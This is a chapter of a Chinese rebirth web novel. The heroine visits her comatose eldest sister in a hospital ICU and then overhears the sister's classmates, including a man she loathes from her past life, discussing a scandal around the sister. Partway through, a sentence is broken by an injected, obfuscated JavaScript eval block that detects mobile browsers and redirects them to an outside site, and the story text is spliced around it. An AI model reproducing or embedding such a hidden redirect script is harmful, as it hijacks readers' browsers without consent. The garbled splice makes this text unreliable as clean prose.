白沅芝龙飞凤舞地填好自己名字,又让周招娣填。 周招娣看着登记簿上漂亮的手写体,惊讶地问道:“三姐,你什么时候字写得这么好了?” 白沅芝,“写好你自己的名字就行!” 周招娣:…… 周招娣拿起笔。 看着“周思儿”、“白沅芝”这样洋气的名字, 周招娣只写了一个周字,面庞就开始发烫。 她实在没办法写下“招娣”这么土气的名字。 笔锋一拐—— 周招娣在“来访者姓名”一栏写下“周昭儿”三个字, 又在“与病人的关系是”一栏写下“妹妹”二字。 写完,周招娣心虚地看向白沅芝。 白沅芝没有任何表情。 护士收走探视表后,周招娣才面红红地向白沅芝解释,“我刚才……好像写错我的名字了。” 白沅芝嗤笑。 周招娣忍不住问道:“三姐,你为什么要把名字改成跟原来完全不一样?你为什么姓白,有什么说法吗?难道你是爸妈捡来的?你亲爹姓白?” 想想又觉得不可能。 ——家里那么穷,她爹恨不得把所有的女儿们都扔掉,只留下宝贝儿子就行。 所以白沅芝不可能是捡来的。 再说了,姐妹们的长相都随周香妹,五官都相似,长得很漂亮。 “三姐,为什么啊?”周招娣又追问。 白沅芝没吭声。 她不想说这名字是她随便起的。 她只是不想再叫做周盼娣或者周盼儿。 其实那天在派出所改名时,她也有点迷茫,不知要给重生的自己取个什么名字才好。 正好肚饿得紧,想起在火车站附近看到的小贩在卖红糖甜酒酿丸子——那可真是人间美味啊。 于是,“白沅芝”仨字油然而生。 护士过来通知她们,“白小姐,周小姐,我已经帮你们登记好了,现在你们可以去ICU门口探望周思儿小姐,请跟我来……啊对了,请注意ICU病人的探视时间是每天十分钟。” 周招娣嘀咕,“哇,在内地我是死丫头、是赔钱货、是臭要饭的,到这里我却变成周小姐……” 然后她低头看看自己身上的她妈周香妹的旧衣,不由得叹了口气。 又见白沅芝已经跟着护士走远,这才惊呼一声,追了过去。 白沅芝和周招娣跟着护士去了ICU探视间。 这里是ICU重症监护室的一部分,建造了一小面玻璃墙。 来探视的亲属要提前申请,到了约定的时间后,护士会把病人推到这儿。 过了好一会儿,ICU里的几位护士们合力推了个移动病床过来,放在玻璃墙边。 白沅芝看到浑身插满管子的周思儿躺在移动病床上,紧阖双眼一动也不动的。 陪同白沅芝的护士拿过一个话筒,递给白沅芝,“白小姐,你可以通过这个话筒,和周思儿小姐说话。但受条件限制,周思儿小姐说的话,你是听不到的。” 顿了顿,护士又解释,“不过,周思儿小姐已经陷入深度昏迷中,可能也听不到你说的话。” 白沅芝谢过护士,拿起话筒。 她没有急着说话,而是仔细凝视着周思儿。 周思儿很美。 她肌肤白得像雪,眉毛浅浅淡淡,睫毛浓密又翘楚,唇形饱满而水润。 前世今生,白沅芝都是头一回见到还活着的大姐。 虽说眼前的大姐和死人没什么两样。 “大姐,我来了。” 白沅芝抓着话筒哽咽着说道。 “别害怕,你担心的事情还没有发生,也不会发生。” “大姐,你勇敢一点好不好?” “好起来,一定要好起来……我们都会好好的。”白沅芝泪如泉涌,语无伦次地说道。 白沅芝不止一次地回顾过自己的前世,真心觉得不值得。 她一直努力想要爬出恶臭的泥潭, 却一直深陷泥潭,从未真正挣脱过。 直到前世临死前她才知道,大姐是唯一一个真心实意地对她好过的人。 再仔细一想—— 好像大姐也一样。 一直在努力挣扎,却从未挣脱过。 天可怜见! 既然老天让她重开一局,现在白沅芝只想救回大姐。 没想到,前世白沅芝被周香妹误导,以为姐姐是四月二十日出的意外。 直到今天她才知道,原来姐姐是在四月十六日就出了意外,在医院里抢救几天以后,于前世四月二十日这天永远地闭上了眼睛。 否则,白沅芝一定会赶在四十六日前赶到。 此时周招娣也在一旁哭哭啼啼,“大姐怎么变成这样子啊?她不会死了吧?这医院这么大这么豪华,大姐身上又绑了那么多管子、动用了那么多机器,这治疗费用还不贵上天去了?三姐,一会儿医院不会逼着我们给大姐出钱吧?” 白沅芝怒道:“你要是害怕你可以先走。” 周招娣期期艾艾地说道:“你说得倒轻巧,要是我一个人真先走了……万一医院把你扣下了呢?妈又不肯收留我,那我一个人在外头……怎么办?等死吗?” 周招娣气道,“倒不如跟着你!要活一起活,要死一起死——” 白沅芝恨不得给她一嘴巴子,“你能不能闭嘴?” 周招娣忿忿不平,“怎么?我连说话的自由也没了?白沅芝!你别以为你给自个儿改了个名字,就可以和我撇清关系了!我告诉你你是我姐你就得管着我!你别想像妈似的,扔下我不管!” 护士小姐赶过来说道:“周思儿家属,探视时间到了!” 闻言,白沅芝紧紧地握住话筒,不舍地看向大姐,“大姐,也不知道你能不能听到。希望你能听到吧,早点清醒过来,不要放弃——” 护士小姐又催了白沅芝一次。 白沅芝冲着话筒说道:“大姐你赶快好起来吧,我明天再来看你。” 说完,她深深地看了大姐一眼,把话筒还给护士小姐。 护士小姐又带着白沅芝去见周思儿的主治医生。 医生把周思儿的病情详细说给白沅芝听,又道:“白小姐,关于你家姐的手术,我们已经很尽力了,光是手术就做了八个多小时。” “目前来看,你家姐的情况不算太好。对她来说,术后七十二小时才是最危险的。” “如果她能熬过这四十八小时,大概率会好转。” “否则——”说着,医生面露难色。 白沅芝在心里默默算计。 大姐是于十七号凌晨送医,医生说手术做了八小时,四十八小时的危险期,也就是说—— 现在? 现在是十九号上午九点左右,已经过去四十八小时,可大姐好像并没有好转的迹象! 那…… 医生大约是看出白沅芝面的悲戚忧伤之色,又安慰道:“白小姐请你放心,只要周思儿小姐还有生命体征,我们就不会放弃她。” 白沅芝郑重向医生道谢后,准备离开圣玛莉亚医院。 站在大太阳底下,白沅芝心里很难过。 而周招娣在白沅芝身后,大约觉得难以置信,于是唠叨起来,“不是吧?医院居然没找我们要钱诶!” 白沅芝狠狠白了周招娣一眼,心想这家伙真是没心没肺。 大姐的情况已经这么危急了,她还…… 转念一想,昔日大姐还在家里时,农活家务活都是大姐干。那时白沅芝年纪小,却很愿意帮大姐干活减轻负担,所以她和大姐的感情是最好的。 而大姐离家那年十六岁,白沅芝十二岁,招娣才十岁。 大姐对招娣、或是招娣对大姐的感情恐怕不会太深。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189246|181049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅芝不再理会周招娣,大步流星地朝外走去。 突然—— 一众年轻男女,正一边说话一边走进医院。 他们一共五个人,四男一女。 四个男的大多穿着牛仔裤白波鞋和T恤,外罩格子衬衣; 一个女的穿着过膝蓝色布裙和开衫薄毛衣,容貌清秀。 而白沅芝之所以关注着他们, 是因为—— 她还真看到了熟人! 宋浚书!!! 准确说来,前世的白沅芝是在五年后遇到宋浚书的。 那时宋浚书已经发迹,是个身居高位的矜贵青年企业家。 现在的宋浚书么,可能是因为刚毕业的缘故,所以还是个浑身书卷气的青涩大学生。 那四男一女的年龄、气质都比较接近,这让白沅芝觉得,他们应该都是大姐的同学。 她想了想,对周招娣说道:“你在这里等我一下,我回医院上个厕所再走。” 周招娣一听,连忙说道:“我跟你一起!这医院这么豪华,估计厕所也很豪华吧?那我必须要去见识一下!” 顿了顿,周招娣又讪讪地解释道:“主要是离开这儿以后,想在外头上个厕所也难。” 白沅芝带着周招娣去了厕所。 在经过那宋浚书他们时,白沅芝特意放慢脚步, 正好听到蓝裙女人说道:“……诶,思儿的事情真是一言难尽!我们做科研的人呢更要讲究人品。谁能想到思儿会在这个紧要关头上出这样的事!” “浚哥,马上就要举办的科技展会怎么办啊?” “现在在别人眼里,周思儿就是个道德败坏的女人!如果我们的团队和项目还要署周思儿的名,岂不是让别人嫌恶我们?” “依我说呢,我们就把思儿的名字暂时删除掉好了……浚哥,你说呢?”蓝裙女人说道。 闻言,白沅芝深深地打量着蓝裙女人。 她觉得这女人有些眼熟。 可一时间想不起这女人是谁。 那一边,宋浚紧锁眉头,但没说话。 另外几个男生似乎更担心周思儿的安危,也更维护她: “我相信思儿的人品,这其中必有误会!而且我认为,思儿的安危比项目更重要。阿浚,不过我们参加下一次的展会吧,这一次本来就很匆忙,大家根本没有准备好。等到思儿康复了,事情查清楚了,我们也做好万全的准备……才更有把握拿下奖项和投资!” “对啊,要不我们凑点钱,给思儿转院去条件更好的维多利亚医院吧!现在最重要的,是赶紧让思儿好起来。” “我现在是真的很担心思儿会有什么不测……诶,她才二十一岁,我是看着她从大一开始,一边勤工俭学一边努力钻研专业,这么努力勤奋的人,她不应该遭报应!” “是啊,思儿太可怜了。我不同意从团队中删除她的名字,更加不同意在项目中删除她的名字!” …… 白沅芝还想再多听听。 可周招娣回头喊她,“三姐你快来啊!” 白沅芝只好低头着走开。 一进厕所,周招娣又开始嘀咕了,“哇,资本主义社会果然是……啧啧啧连厕所都这么干净这么香,还是一个一个的单人间呢!哇这门还能上锁!” 白沅芝盯着周招娣进入厕所后,又赶紧离开。 幸好宋浚书他们还没有走远。 也正好,宋浚书开口了,“……治疗费用的事大家不用担心,思儿是在碧澜庭出的意外,无论理由是什么,至少在她清醒过来之前,碧澜庭必须要为她先垫付治疗费——这件事情我会负责和碧澜庭联系。” “至于即将举行的科技展会,我想我们还是应该要去。” “不管发生什么事,思儿都是我们团队里的一员,她更是我们这个项目的灵魂人物,无论她健康与否,我相信,她都希望我们这个团队可以越来越好。” …… 白沅芝笑了。 但笑意不达眼底。 现在的她,根本没办法直视宋浚书。 因为—— 她害怕自己会忍不住。 忍不住一把掐死他!